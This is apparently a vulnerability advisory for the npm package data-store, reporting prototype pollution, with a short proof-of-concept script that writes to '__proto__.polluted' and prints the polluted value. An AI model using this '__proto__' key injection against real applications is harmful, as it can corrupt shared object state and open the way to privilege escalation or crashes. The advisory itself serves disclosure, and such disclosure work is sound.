data-store

vulnerability prototype pollution
severity 6.5
language javascript
registry npm

Description

data-store is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
const store = require('data-store')({ path: process.cwd() + '/foo.json' });
store.set('__proto__.polluted', 'Yes! Its Polluted');
console.log(store.get('polluted'))
  1. Execute the following commands in terminal:
npm i data-store # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Yes! Its Polluted